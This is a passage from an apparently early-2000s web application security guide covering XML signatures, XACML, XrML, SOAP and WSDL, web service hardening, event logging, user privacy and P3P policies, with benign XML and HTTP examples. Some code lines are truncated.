
This element contains a DigestMethod and a DigestValue. The Method contains an algorithm used to generate the Digest. The DigestMethod is applied to the signed object and results in the DigestValue. The DigestValue is base64 encoded.

The Transforms element contains Transform elements. Every Transform element describes how the signer obtained the data object that was digested. This process can be reapplied to a new Transformation eloement. The output from the last Transform is the input for the DigestMethod algorithm.

KeyInfo

The KeyInfo is an optional element. You will need the informations in this node to validate a signature. It can contain keys, names, certificates and any PKI informations.

KeyName

This element can be used to attach a human readable name to a key or certificate.

KeyValue

A sub-element of this element is either a DSAKeyValue, RSAKeyValue, PGPData, SPKIData, rawX509Certificate or any other supported method.

Further Reading

Further informations can be found under the following links:

Specifications by the W3C http://www.w3.org/TR/xmldsig-core/

Informations from the IETF http://www.ietf.org/html.charters/xmldsig-charter.html [http://www.ietf.org/html.charters/xmldsig-charter.html]

Article containing informations about XML Digital Signature http://www.xml.com/pub/a/2001/08/08/xmldsig.html [http://www.xml.com/pub/a/2001/08/08/xmldsig.html]

XML Access Control Markup Language - XACML

XACML is the common language for expressing security policies. In medium to big sized companies a security policy has many departments in which they are created, enforced, controlled or otherwise worked with. Elements of security policies may be managed by the information systems, the human ressources, the legal or any other department and enforced on any technical system like LAN or remote access system. Untill today this is handled with more or less expenditure across all points and elements as accurately as possible.

Since this practice is expensive, nearly not managable and opens up many possible points of failure, XACML tries to fulfill the need for a common language for expressing security policies. If all entities in the creation, management and enforement of security policies can read and understand this XML based language, the whole process should be getting much easier.

Top level elements

In XACML three top-level elements do exist: Rule, Policy and PolicySet. The Rule element contains one boolean expression. Policy elements can contain Rule elements and forms an authorization decision. Such an authorization decision represents a function which evaluates to a Permit, Deny, Indeterminate, NotApplicable or other results. The PolicySet element may contain Policy or other PolicySet elements. This element is used to combine different Policies together to one set.

Example

In the first example we generate a Request with a question concerning access for Jon Doe to access the ressource in the form of some medical records at a hospital.

```
<?xml version="1.0" encoding="UTF-8"?>
<Request>
        <Subject>
                <Attribute
                        DataType="identifier:rfc822name">
                        <AttributeValue>jon@doe.com</AttributeValue>
                </Attribute>
        </Subject>
        <Resource>
                <Attribute
                        AttributeId="identifier:resource:resource-uri"
```

```
                                        DataType="xs:anyURI">
                                        <AttributeValue>http://hospital.com/medicalrecords/<
                                </Attribute>
                        </Resource>

                </Request>
```

This Request is answered in the following example with a Deny.

```
<?xml version="1.0" encoding="UTF-8"?>
<Response>
        <Result>
                <Decision>Deny</Decision>
        </Result>
</Response>
```

Further Reading

Further informations can be found under the following link:

Informations from Oasis http://www.oasis-open.org/committees/xacml/ [http://www.oasis-open.org/committees/xacml/]

eXtensible rights Markup Language - XrML

XrML - eXtensible rights Markup Language - is the language for Digital Rights management. XrML has it's roots in the Digital Property Rights Language (DPRL) introduced in 1996 by the Xerox Palo Alto Research Center. XrML matured since it's first creation because of industry feedback and reviews into it's current form.

XrML can be used as a framework to express rights on different stages of a workflow or a lifecycle. With XrML one can securely specify and manage rights and conditions associated with all kinds of resources including digital content as well as services.

The simple datamodel behind XrML consists of these 4 elements:

- Principal

  This describes the party to whom a right is granted. A principal is exactly one party and can be therefore defined. In an implementation that element most possibily will be a reference to an authenticatable group or person.
- Ressource

  A ressource is a "logic object" of any kind. This can be a document, a film, a website but also a service like an emailclient or anything else which can have access restrictions.
- Right

  The right is the descriptive word what exactly will be done between the Principal and the Ressource. So a Principal can be "granted" or "revoked" the access to a specific ressource.
- Condition

  The condition describes the terms and conditions under which a right can be enforced or executed. Users may access a system only between 9 to 5, which represents a condition. An other example could be based on physical tokens, passwords or anything equal.

In the example below the inventory element defines the access to the "coolMovie". The grantGroup element contains the keyHolder which represents the party which this grantGroup is all about. The same element also contains two grant elements. This means, that the Holder defined in the grantGroup is allowed to "play" and to "copy" the

coolMovie. The "play" element also defines a fee of 5.5 EUR for every time the coolMovie should be played.

```
<license licenseId="http://www.somewherysecure.org/licences/412">
        <inventory>
                <digitalResource licensePartId="coolMovie">
                        <nonSecureIndirect URI="http://www.verycoolmovies.co
                </digitalResource>
        </inventory>
        <grantGroup>
                <keyHolder>
                        <info>
                                <dsig:KeyValue>
                                        <dsig:RSAKeyValue>
                                                <dsig:Modulus>
                                                        hjIU7587hjG7hkzghjgH
                                                </dsig:Modulus>
                                                <dsig:Exponent>
                                                        GIIG
                                                </dsig:Exponent>
                                        </dsig:RSAKeyValue>
                                </dsig:KeyValue>
                        </info>
                </keyHolder>
                <grant>
                        <mx:play/>
                        <digitalResource licensePartIdRef="coolMovie"/>
                        <sx:fee>
                                <sx:paymentPerUse>
                                        <sx:rate currency="EUR">5.50</sx:rat
                                </sx:paymentPerUse>
                        </sx:fee>
                </grant>
                <grant>
                        <mx:copy/>
                        <digitalResource licensePartIdRef="coolMovie"/>
                </grant>
        </grantGroup>
</license>
```

Further Reading

Further informations can be found under the following link:

General informations http://www.xrml.org/

The Open Digital Rights Language Initiative http://odrl.org/ [http://www.xrml.org/]

Implementing Web Services and XML Security

This section will discuss how basic web services can be secured using SOAP over SSL etc

While there is of course the need for operating system security and the need to harden the running services on the different platforms, many corporations think that there is no sufficent possibility of protecting web services sufficiently. But all of the above in detail described specifications can be used to secure Web Services. While system hardening and other security technologies can help securing the server running the service, those enable a standard in securing the above services.

Most important as ever is the decision of the management about what kind of informations which is normaly done with security policies. It is then the job of the software architect to enforce those policies in the services she designs with the technologies available.

Example of implementation

To show in an example how an implementation of the above technologies may look like, let us discuss a possible internet based bookstore, selling books around the world, 24h a day. The firm behind the website which one can visit in the internet belongs to the fictive firm CheapestBooks. While you may order on their website, they do not have any stock, nor any knowhow about delivery methods. So the question arises, how you will get the book in case of a placed order?

If you place an order, that informations you supplied there will go directly into CheapestBooks own databasesystem for further processing. Once every hour a service job scans the order database and processes every open order. Every order will then be structured into an XML document to be processed with the business partners. And this is where the web services security enters this example.

Cheapest Book has two business partners: BillThem and BookMailer. The one is specialized in payment processing, the other in delivery of books. So Cheapest Book generated that XML document for both these firms. Besides the need of protecting the transmission - which could be either done with XML Encryption or SSL - BookMailer also has no need to know the customers CreditCard informations.

So Cheapest Book generates one single XML document of every order they get. That XML contains all informations. To ensure BookMailer, that this XML is really from Cheapest Book and that the ordered amount is correct, the XML generating process signs the important parts with an XML signature. BookMailer then has the proof, that not only the origin of the XML document is the correct source, but also that the amount of books and the place of delivery was not altered since the order.

Since BillThem is the only business partner needing the Credit Cards informations, the generating process also encrypts the Credit Card part of the XML with the public key of BillThem, so noone else can read the Credit Card informations.

With such an arcitecture all three parties can work securely. The transport is crypted using SSL, the business partners can only read the informations they need to know to do their work.

XML and Web Services Security Standards alone are not enough

As mentioned before, web services security are only as good as it's weakest link. The web services underlying platform needs hardening and observation technologies to ensure it's correctnes. The web service frameworks need to be secure too, there should be no possibility to tunnel from a web service implementation through the framework into the underlying system. One of those techniques widely used is SQL Fault Injection with which one can tunnel very easily from a Web GUI into the database - and if that one is configured badly - directly into the operating system as an administrator.

XML Security

The one techniques one can use to secure the web services themselfs (besides of the programming standards and techniques one should used which are described through this Guide) are surely the XML security specifications described in this chapter.

But beware: XML security is far away from being a web services silver bullet. As with any other technology and security standard, one needs to design a robust architecture before implementation. That architecture needs to fulfill a firms security policies and should use standard algorithms and mathematical functions. Many breaches and security related problems in Web Services are because of false applied or not applied security mechanisms, which then were misused in a not so planned manner. Not only a systems architect, but also the implementator should understand every single technology used, so it can be applied as intended.

Environmental Security

A good way of protection is shown with the OpenBSD project. While they try to find and remove every single occurence of buffer overflows, they also implement mechanisms to make those buffer overflows less dangerous. The same strategy should also be followed within the design and implementation of Web Service security. While proxy systems and firewalls could filter some of the attacks, not all of them can be prevented at the borders to your network. Think about an exploit encrypted within an XML encrypted stream. Normal protection mechanisms never will be able to detect those attacks.

So having source reviews for the implemented services will be needed but most probably not enough to protect the implementation from attacks. Another possibility is to sandbox the environment running the web service. If the web service runs within say Apache, you can chroot Apache, so if anyone gains access via this service to the system, he will not be able to see the whole system but the chrooted environment only (OpenBSD btw has a chrooted Apache by default). FreeBSD introduced another mechanism called Jail which has quite the same idea behind like chroot.

Following all those rules and the usage of above described specifications and techniques will be a huge help in reaching the creation of a secure web service.

Further Reading

Further informations can be found under the following link:

Security Features in FreeBSD 4.0 by M. Warner Losh (FreeBSD Security Officer) http://people.freebsd.org/~imp/japan-00.ppt

Inside Jail by Evan Sarmiento http://www.daemonnews.org/200109/jailint.html

Using Chroot Securely by Anton Chuvakin http://www.linuxsecurity.com/feature_stories/feature_story-99.html

Web Services Security (WS-Security) http://www-106.ibm.com/developerworks/library/ws-secure/

Chapter 15. Simple Object Access Protocol (SOAP)

Adrian Wiesmann

Overview of SOAP

Description

SOAP is a protocol which allows the exchange of informations. This protocol was built to let decentralized and distributed environments exchange informations in a structured way. SOAP can work over multiple transport protocols and is XML based. A SOAP message is made out of three parts:

- Envelope
- Encoding Rules
- RPC representation

It may be a irritating to notice that these three parts are defined in different namespaces. This is a planed behaviour to stay simple through modularity.

Among the design goals of SOAP is a distributed garbage collection. This is needed for the Remote Procedure Call (RPC) functionality. There are other features which are not described in the SOAP specification by the W3C but which are known from traditional messaging systems and distributed object models.

While the word SOAP is often mentioned in the same sentence as Web Services, SOAP is not the only possibility to enable Web Services. SOAP may be the most widely used technology, but there are plenty of others among which are at least XML-RPC, some proprietories and others.

SOAP Message Exchange Model

While SOAP messages theoretically represent one-way transmissions from a sender to a receiver, SOAP messages normally are used like the traditional HTTP request/response model. The message exchange model is free to let application developers use characteristiques of their particular transportation protocol. Like that using HTTP as method of transportation means, that SOAP responses can be delivered with the usual HTTP responses after a request.

All SOAP messages are XML styled streams of data. Every such message therefore should implement all of the required SOAP specific definitions with the corresponding namespaces. The W3C specification states, that every message which is not well crafted should be discarded.

Examples of SOAP messages

This example shows a SOAP message embedded in an HTTP request. This is - as stated above - not the only kind of transportation, but most probably the most widely used these days which is the reason to show this example with HTTP as transportation method.

The first part of the example shows the HTTP header sent from a client to a server. Please note that this example is not demonstrating the HTTP Extension Framework for this would be definitely offtopic for this guide.

```
                    POST /BillingSystem HTTP/1.1
                    Host: www.owasp.org
Content-Type: text/xml; charset="utf-8"
                    Content-Length: nnnn
                    SOAPAction: "Some-URI"
```

The header contains a reference to a function /BillingSystem on the OWASP projects website (which is completely fictional and was invented by the author). The example also contains a Content-Type of type text/xml which must be set in this case according RFC 2376.

The second part of the example contains the rest of the XML conform SOAP message.

```
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/e
        SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/enco
        <SOAP-ENV:Body>
        <m:CurrentAccountStatus xmlns:m="Some-URI">
        <account>owasp_guide</account>
        </m:CurrentAccountStatus>
        </SOAP-ENV:Body>

</SOAP-ENV:Envelope>
```

Every SOAP message contains an envelope, an optional header (which is missing in the example above) and some body. The W3C specifications gave those three parts together the name "SOAP message".

A possible answer to the message above could be the result from the example below. Most of the structure looks the same. The differences are within the HTTP header and within the body of the SOAP message.

```
HTTP/1.1 200 OK
Content-Type: text/xml; charset="utf-8"
Content-Length: nnnn

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/e
        SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/enco
        <SOAP-ENV:Body>
        <m:CurrentAccountStatus xmlns:m="Some-URI">
        <deposit>29672.20</deposit>
        <currency>EUR</currency>
        </m:CurrentAccountStatus>
        </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

SOAP message

Envelope

The envelope of a SOAP message is like an envelope you use with a written letter. It is mainly a container for the Header and Body elements. Besides that an Envelope can contain informations about SOAP Encoding and fault reporting.

Header

This part of the SOAP message is optional and can therefore be omitet. The header contains informations about how a message should be processed.

Body

With the SOAP Body an application developer has a simple mechanism for exchanging informations and data intended for the recepient of the message. This data can be either function calls and arguments, but also error codes and other status informations.

To carry error codes and fault informations in a SOAP message, SOAP defines a SOAP Fault element which can be used for that purpose. The SOAP Fault element contains many subelements to describe the error in detail.

SOAP Encoding

The idea behind the SOAP Encoding is to allow a narrower definition of types than would be supported by XML. SOAP Encoding allows therefore the definition of value (primitive type), array, struct, simple type (class of simple values) and others. The whole definition is quite complete and is also quite offtopic in the guide. It is just most important to know that a possibility for encoding is available and could be used.

SOAP RPC

Method calls within SOAP need some informations to be put into the Body of the SOAP message. Two of these informations most obviously are a targets name and a name for a to be called function. Optionaly there also can be some arguments for the called function. All parameters and informations should be defined by encoding types.

Further informations

The W3C specifications at http://www.w3.org/TR/SOAP/

Web Services Description Language (WSDL)

The Web Services Description Language (WSDL) is an XML format specified by the World Wide Web Consortium for describing Web services. The supported operations and messages are described abstractly, and then bound to a concrete network protocol and message format.

So if a developer wants to publish her Web service to a wider audience, she does so with generating a description and linking that description into a UDDI (Universal Description, Discovery and Integration) repository. Interested persons will then request the corresponding WSDL file. Once they parse that file, they will get every information they need to use that Web Service. They can then use this information from the WSDL file to form a SOAP request to the computer where our developers Web Service is running on.

Further informations

We will not go further into the detail concerning WSDL but you can find the specifications and further informations at the following locations:

The W3C specifications at http://www.w3.org/TR/wsdl

A short description by sun at http://sunonedev.sun.com/building/tech_articles/overview_wsdl.html [http://sunonedev.sun.com/building/tech_articles/overview_wsdl.html]

Security considerations

Many security conciderations concerning SOAP are general problems which can occur within any service related communications design. Our current network designs and the status of informations among network administrators concerning http based services are somewhere between bad and medium. The main problem sums up with the word "tunneling". While many services can (and mostly are) completely blocked or controlled by a system administrator,

the nature of SOAP is to tunnel right through a firewalls http gateway right to the place where the action starts.

There are some protection mechanisms and proxy systems available for Web Services, but this technology is very young and needs some time to mature (some more). Meanwhile it is very important to fully understand what can protect web services besides those mechanisms and to include those security mechanisms in the design of web services.

The main rule should be to never trust any data. Every command, dataset and information which reaches a web service via SOAP should be double checked for it's validity. To enforce some mechanisms one can use XML Encryption and XML Digital Signatures to encrypt or sign some partions of the XML traffic.

Besides the cross checking of data the systems running the web services should be completely hardened and the service itself be chrooted and sandboxed so problems within the service itselfs can not tear down the whole system and environment. How this is achieved is discussed some more within the Web Service Security chapter.

Further informations

SOAP Research Summary by Sudarshan "Sun" Murthy http://www.cse.ogi.edu/~smurthy/classes/soap/summary.html [http://www.cse.ogi.edu/~smurthy/classes/soap/summary.html]

Chapter 16. Event Logging

Logging is essential for providing key security information about a web application and its associated processes and integrated technologies. Generating detailed access and transaction logs is important for several reasons:

- Logs are often the only record that suspicious behavior is taking place, and they can sometimes be fed real-time directly into intrusion detection systems.
- Logs can provide individual accountability in the web application system universe by tracking a user's actions.
- Logs are useful in reconstructing events after a problem has occurred, security related or not. Event reconstruction can allow a security administrator to determine the full extent of an intruder's activities and expedite the recovery process.
- Logs may in some cases be needed in legal proceedings to prove wrongdoing. In this case, the actual handling of the log data is crucial.

Failure to enable or design the proper event logging mechanisms in the web application may undermine an organization's ability to detect unauthorized access attempts, and the extent to which these attempts may or may not have succeeded.

What to Log

On a very low level, the following are groupings of logging system call characteristics to design/enable in a web application and supporting infrastructure (database, transaction server, etc.). In general, the logging features should include appropriate debugging information such as time of event, initiating process or owner of process, and a detailed description of the event. The following are recommended types of system events to log in the application:

- Reading of data
- Writing of data
- Modification of any data characteristics should be logged, including access control permissions or labels, location in database or file system, or data ownership.
- Deletion of any data object should be logged
- Network communications should be logged at all points, (bind, connect, accept, etc.)
- All authentication events (logging in, logging out, failed logins, etc.)
- All authorization attempts should include time, success/failure, resource or function being authorized, and the user requesting authorization.
- All administrative functions regardless of overlap (account management actions, viewing any user's data, enabling or disabling logging, etc.)
- Miscellaneous debugging information that can be enabled or disabled on the fly.

Log Management

It is just as important to have effective log management and collection facilities so that the logging capabilities of the web server and application are not wasted. Failure to properly store and manage the information being produced by your logging mechanisms could place this data at risk of compromise and make it useless for post mortem security analysis or legal prosecution. Ideally logs should be collected and consolidated on a separate dedicated logging host. The network connections or actual log data contents should be encrypted to both protect confidentiality and integrity if possible.

Logs should be written so that the log file attributes are such that only new information can be written (older records cannot be rewritten or deleted). For added security, logs should also be written to a write once / read many device such as a CD-R.

Copies of log files should be made at regular intervals depending on volume and size (daily, weekly, monthly, etc.). .). A common naming convention should be adopted with regards to logs, making them easier to index. Verification

that logging is still actively working is overlooked surprisingly often, and can be accomplished via a simple cron job!

Log files should be copied and moved to permanent storage and incorporated into the organization's overall backup strategy. Log files and media should be deleted and disposed of properly and incorporated into an organization's shredding or secure media disposal plan. Reports should be generated on a regular basis, including error reporting and anomaly detection trending.

Logs can be fed into real time intrusion detection and performance and system monitoring tools. All logging components should be synced with a timeserver so that all logging can be consolidated effectively without latency errors. This time server should be hardened and should not provide any other services to the network.

Chapter 17. Privacy Considerations

This section deals with user privacy. Systems that deal with private user information such as social security numbers, addresses, telephone numbers, medical records or account details typically need to take additional steps to ensure the users' privacy is maintained. In some countries and under certain circumstances there may be legal or regulatory requirements to protect users' privacy.

The Dangers of Communal Web Browsers

All systems should clearly and prominently warn users of the dangers of sharing common PC's such as those found in Internet Cafes or libraries. The warning should include appropriate education about:

- the possibility of pages being retained in the browser cache
- a recommendation to log out and close the browser to kill session cookies
- the fact that temp files may still remain
- the fact that proxy servers and other LAN users may be able to intercept traffic

Sites should not be designed with the assumption that any part of a client is secure, and should not make assumptions about the integrity.

Using personal data

Systems should take care to ensure that personal data is displayed only where absolutely needed. Account numbers, birth names, login names, social security numbers and other specific identifying personal data should always be masked (if an account number is 123456789 the application should display the number as *****6789) unless absolutely needed. First names or nicknames should be used for birth names, and numeric identifiers should display a subset of the complete string.

Where the data is needed the pages should:

- set pages to pre-expire
- set the no-cache meta tags
- set the no-pragma-cache meta tags

Enhanced Privacy Login Options

Systems can offer an "enhanced privacy" login option. When users login with "enhanced privacy", all pages subsequently served to the user would:

- set pages to pre-expire
- set the no-cache meta tags
- set the no-pragma-cache meta tags
- use SSL or TLS

This offers users a great deal of flexibility when using trusted hosts at home or traveling.

Browser History

Systems should take care to ensure that sensitive data is not viewable in a user's browser history.

- All form submissions should use a POST request.

Chapter 18. Web Application and Browser based Privacy

Tim

Getting Personal about Privacy

If you're anything like me, there would be many occasions that you have clicked the 'register now' button before completing an Internet based transaction without first reading the sites Privacy Policy. Each time you do this, you increase the chances of the information you have left behind being used as Spam against you.

If you do this, you're not alone! Most people registering their personal details on web sites do so without any regard to the Privacy Policy that states how their information may be used. This may be because no one really likes to read what is perceived to be a legalese dull document or simply because we are in such a hurry to purchase the goods that we don't want another hurdle in our way. The fact that these web sites could be using cookies to track our spending habits and the way we navigate the site and, more importantly, selling this information to 3rd parties doesn't seem to register with the average punter.

So from a personal perspective, we should be more aware of how our information is being used (or re-used) and the main purpose of this document is to outline the standard that will help us the most; The Platform for Privacy Preferences (P3P). But why should companies themselves be concerned? Why, as a company should I bother going through this process? Well, there are a number of reasons but probably two main ones, outlined below:

Client Retention

A clearly stated Privacy Policy sends a positive message to the consumer. We take your data seriously and this is how we protect it. This is how you opt-out if you don't like it. Once mutual trust is established, client retention is increased. With the advent of I.E. 6.0 and Netscape 7 which both include a P3P user agent, you may find your site being blocked by the browser if the client has been stringent with the sites he wishes to access.

Privacy Related Legislation

The Government is reacting to consumers concerns over Privacy. The most obvious areas are those covered by the GLBA and HIPAA but there were also more than 5000 consumer privacy bills introduced in state legislature in 2000 with a further 6900 in 2001. Additionally, 39 states have introduced one or more privacy laws. Privacy is big news in all areas of the World (with some notable exceptions). In Australia, The Privacy Act 2001 was passed in December 2001 with further updates in December 2002. The Act, modelled on the National Privacy Principals (NPP's) was modelled on guidelines originally put forward by the Organization (OECD). The high level principles organization was one of the founders of setting Privacy guidelines since 1980. The OECD is quite pertinent here and is something that will come up as we discuss in more detail the main thrust of this section; P3P.

The Platform for Privacy Preferences (P3P)

The project itself is run by the World Wide Consortium (W3C). The first W3C recommended release - P3P 1.0, was published on the 16th April 2002 initially to a fair amount of criticism. The principles for this standard have been around for many yers prior to the official W3C recommendation and a number of the critcisms are really a hangover of earlier dicussions. A recent meeting by the W3C in November 2002 will see the release of P3P 1.1 later this year that addresses some of shortfalls of P3P 1.0 with some other more major additions that will be added in P3P 2.0. More details on these changes and additions are discussed within this chapter.

Regardless of the version, the P3P project is there to enable the user to make informed decisions about when their

personal information should be revealed in an automated way as opposed to trawling through the legalese and loopholes of a policy statement. Perhaps the major endorsement has come with P3P support within Microsoft's Internet Explorer 6.0; now essentially the default standard for browsing has the P3P client built-in. There are also a number of other clients which will be discussed in this chapter, and they all have there place but the tried and tested method of embedding the technology within a tool that 80% of Internet users use is a surefire way of success.

This chapter looks at the P3P 1.0 specifications itself as well as outlining some of the enhancements and major bugbears that will be fixed in upcoming releases. Specifically, this section will cover the following:

- The fundamentals of privacy
- A brief history of P3P development
- How P3P works and some of the more pertinent tools
- How to deploy P3P policies on your site and some of the issues with Compact Policies
- The future of P3P

Privacy is a much overused term; it seems to be used almost as loosely as the term industry best practices or ROI or any of the other acronyms that we use, particulalry in the IT industry. Imagine if there was a nice acroynym for Privacy, we can't just call it "P" - well, if nothing else P3P gives us an acronym we can drop into conversation!

Jokes aside, Privacy is essentially the freedom from unwanted intruders into our daily lives. So, to protect our Privacy we need a mechanism to keep the intruders out. To do that, we need to know where our personal information is going, who has access to it, who can modify, alter or destruct it. In short, we want to have a good idea as to how the information that is "us" is used or abused.

Theoretically, we have guaranteed First Ammendment rights to privacy - the reality in the Internet World can be somewhat contradictory to this basic right. Who has the right to use information against us? Are there precedents where we don't want people to have privacy? Case in point was a web site that turned out to be the largest commercial child-porn operation ever uncovered in 1999. In a raid by law enforcement officials, computers were seized that held information on over 250,000 paying subscribers. These details were then forwarded to law enforcement agencies around the globe and a large number of arrests were made. Did these people deserve Privacy? Let's move on...

Ultimately it's 'data' we're talking about: data defines who we are, what our likes and dislikes are. A misuse of this defining data is when this information that defines us is used in different context and without our consent or indeed is garnered at the inital onset without our consent. How many sites are there that give you a usable method of accessing them if you really don't want to share personal information? Not many.

As a webmaster and business owner, this also comes back to Client Retention mentioned at the head of this chapter. In recent times there has been a lot of bad press associated with software with Spyware installed; applications that filter back potentially personal information unbeknownst to the user. In fact, an early critiscism voiced back in 1998 by the EU against P3P was that it didn't do enough to protect users privacy. The ensuing outcry resulted in a partial re-write to lessen the amount of 'behind the scenes' chatter between P3P agents and web servers.

There are numerous surveys that have been undertaken by many organisations on privacy. Probably the most pertinent being those conducted or collated by PrivacyExchange.org. Based on a wide reaching survey, 29% said they trust sites that sell products or services online and only 33% said they trust web sites that provide advice about such purchases. That is incredibly low compared to the 58% who say they trust newspaper and television news so we're talking about reliability of information here - and reliability goes hand in hand with trust which is the backbone of privacy. Most users will not read online privacy policies carefully, just 3%, although they are more likely to read them if they are entering their credit card details or social security numbers.

In all the surveys, the importance of privacy is highlighted. There are various analysts estimates on the value of the amount of retail sales lost due to privacy concerns - ranging from $5 billion to $25 billion. The reality probably lies somewhere in the middle but which ever way you look at it it's a significant amount of lost revenue.

So, as a web user who wants to access information or engage in an online purchase what sort of answers to I want from the web site? The main ones are outlined below:

- How do web sites use my information when I sign up as a member or to buy something?
- What information do web sites collect about me?
- How do I know my information is secure and stays secure?

There are various mechanisms that web sites can use to track informtaion on us and our movements. We will discuss some of these surveillance methods then get onto to the current state of play with privacy technology solutions. Then we will look at the privacy solutions offered by the current technologies.

All browsers and web server logs can trap a huge amount of information including the type of OS we're using, browser type, IP address, referring page and cookies. This information can be used to build up a user profile which advertisers in particular find most interesting. Within the HTTP header, a field called 'Referer' identifies the URL associated with the requested page. In other words, we know where you've just been. Web sites use this to gather user habits as well as a method of tracking how successful online advertising is being at other sites. The logs on the server can then store the URL of the originating request for further analysis. If the GET method within HTTP is used it sends the values in the URL in name-value pairs, visible in clear text. This enables me to look through my logs looking for personal details which could include credit card details, username, age - basically any information I've submitted.

Cookies

There are other sections in this book that discuss cookies in more detail, particularly how to subvert and generally mis-use informtaion so only a basic decription is given here. A cookie is a unique identifier that a web server places directly on your computer. Look on it as a serial number that may be used to retrieve your records from a web sites database. It's usually a string of random-looking letters long enough to be unique.

Cookies really came about to try and add some 'state' information to requests. As HTTP is stateless, there is nothing to link one request with another. Cookies where therefore designed to extend the protocol to allow web sites to send state information to the browser which may be queried by the server at a later date.

Cookies are useful and in their intended form enable a form of continuity to be established with the browser. They greatly simplify web application development and allow the web server to identify returning users giving them the profile they setup on their first visit to the web site.

With this functionality comes some danger for the cookie illiterate; they can track a users movements around a web site without their knowledge - in some cases this can be used to track users across multiple web sites.

As stated, detailed information on cookies can be found in other sections within this book detailing session, permanent and first-party cookies, but probably the worse case scenario are those that hold personal information that can be accessed by another web site. Some sites even use cookies to store credit card informtaion (or at least link to that informtation - a very bad thing.

Technical Privacy Solutions

In this section we will explore some of the technical and non-technical methods that web sites should deploy to ensure users privacy. this will also give you some things to look out for when visiting a web site.

Each web site could declare its privacy policy describing the sweb sites privacy practices. The presence of such a policy should help users make an informed decision as to whether they wish to engage with the web site, and they can then make a decision as to whether to opt in or out. According tomost privacy surveys, the presence of a privacy policy increases user confidence and retention in the site. Such policies are often written in natural language text

(like English). A number of policies, however are difficult to understand and use wildly differing formats.

As discussed, P3P provides an XML-based description of the privacy policy pertaining to the web site. B using standards-based approaches to define policy, automated agents are able to read the policies and act on the users' behalf based on their preferences thus taking the manual pain away from the user. There are also a number of Privacy Certification Programs Seal programs run and promoted by privacy agencies for compliance with a stated policy. Such programs use independent auditors who certify that the site is compliant with their stated privacy policies. These programs also specify a complaint process and specify how disputes can be resolved. BBBOnline, TRUSTe, and CPA Webtrust are some of the better know seal programs. The web sites that employ these certifications contain their logos and in most cases, with the added exposure of privacy concerns, give the user a level of confidence which can be noted by client retention.

Privacy Laws and Organizations

Privacy laws and regulatory bodies play an important role in the privacy landscape, as they are the enforcing agencies. However, the Internet encompasses every part of the world, and the law is different in various parts of the world. The US has a lot of laws like the Freedom of Information Act, Children's Online Privacy Protection Act (COPPA), and so on. These laws focus on increasing the transparency and fairness in Internet transactions. COPPA requires parental consent before collecting personal information from Children. Australia has the Privacy Act 2001 as outlined in the beginning of this section and the EU has the Data Protection Directive which prohibits the secondary use of data without the clients consent.

Let's get into P3P in more detail. We've discussed the protocol from a high level but how does it actually work? Well, P3P is a machine readable vocabulary and syntax for expressing a web sites data management practices. P3P enabled browsers and applications read the syntax and comare against the users stated preferences and, importantly, inform the user when these policies to not conform to their preferences. P3P vocabularly means:

- Who is collecting data and what data is being collected
- What will the data be used for
- Opt-in/out options
- Are there external data recipients
- What is the data retention policy
- How are disputes on the policy resolved
- Location of human readable policy

An example of a P3P Policy showing the XML encoding is detailed below:

```
<POLICY name="mysite"
discuri="http://www.mysite.com/PrivacyPolicy.html">
<ENTITY>
<DATA-GROUP>
<DATA  ref="business.name">mysite</DATA>
<DATA ref="business.contact.info.postal.street">200 Bangalore Avenue</DATA>
<DATA ref="business.contact.info.city">Bangalore</DATA>
<DATA ref="business.contact.info.country">Asutralia</DATA>
<DATA ref="business.comtact.info.telecom.telephone.number">32334333</DATA>
</DATA-GROUP>
</ENTITY>
<ACCESS><nonident/></ACCESS>
<DISPUTES-GROUP>
<DISPUTES>
resolution-type="independant"
```

```
service="http://www.bbbonline.org"
<REMEDIES><correct/></REMEDIES>
</DISPUTES>
</DISPUTES-GROUP>
<STATEMENT><br/><PURPOSE><admin/><develop/></PURPOSE>
<RECIPIENT><ours/><</RECIPIENT>
<RETENTION><no-retention/></RETENTION>
<DATA-GROUP>
<DATA ref="#dynamic.clickstream"/>
<DATA ref="#dynamic.http"/>
</DATA-GROUP>
</STATEMENT?
</POLICY>
```

This is by no means an exhaustive list of all the syntax but it highlights some of the major areas. There are other entries that can explicitely state which areas are actually covered by the privacy policy and also exclusion can be made in certain areas. The POLICY is the root tag that holds the policy document itself. The discuri attribute is very important; this defines where the natural language policy is located.

The ACCESS element indicates if the site allows users to access their identified information. The value <nonident/> indicates that the site does not collect identified data.

The ENTITY tag decribes the legal entity, generally including the business name and adress.

The DISPUTES-GROUP can contain several DISPUTE resolutions. The above example refers to the BBBOnline seal program as a dipsutes resolution body.

The REMEDIES element denotes how a breach in policy would be corrected. The <correct/> tag indicates that the site will remedy the correction of any wrongul breaches.

The RETENTION element indicates how long data is retained for. The <no-retention/> tag indicates that the site only retains information for the brief period it takes to undergo the transaction.

Of course, we need user agents to interprate these P3P policies. One of the first to arrive was embedded within Microsofts I.E. 6.0 although agents were available as plug in for previous versions. Development is also taking place with PDA's, wireless devices and cellular phones.

If you're using I.E. 6.0 you may see a warning appear when the browser encounters a cookie that either doesn't have a compact policy or contravenes the users preferences, highlighted below:

By clicking on the warning icon you can see privacy report:

Clicking on the summary button would then detail the policy for review:

To alter a users preferences in I.E. 6.0, you can change the privacy settings in the privacy slide bar:

Before we move on, a few words should be said on compact policies. Compact policies enable the P3P policies to be set completely in the HTTP header when cookies are set using the SET_COOKIE directive. It's important to note that comacy policies only reflect information regarding to cookies and hence do not represent all the individual fields that can be defined in a full policy. There are a few shortfalls in the compact policy. They cannot specify an expiry tag and assume that the policy is valid through the lifecycle of the cookie itself. Therefore changing the policy associated with a cookie can be problematic. It may be neccessary to stop setting cookies using the first cookie name, stop gathering information that is gathered from the first cookie and then begin setting a new cookie with the associated updated Compact Policy. Also, there is no caching of the compact policy by the user agent so the server always sends this policy.

Preparing for a P3P Implementation

This section highlights some of the areas that must be considered before deploying P3P policies.

Implement a Human Readable Policy

The initial time spent on this stage is certainly time well spent and will ease the ultimate aim, the implementation of P3P. You need to determine the sources of consumer data that you collate or need to collate, determine who it is shared with, the retention period and how the data itself is secured. Get agreement with all parts of the business that handle consumer data - remember that not all sides will inreact via online mechanisms. How do you currently deal with consumer data? Develop your policy and publish it on your web site - make sure you educate your employees and partners on the policy.

Audit your web site before P3P implementation

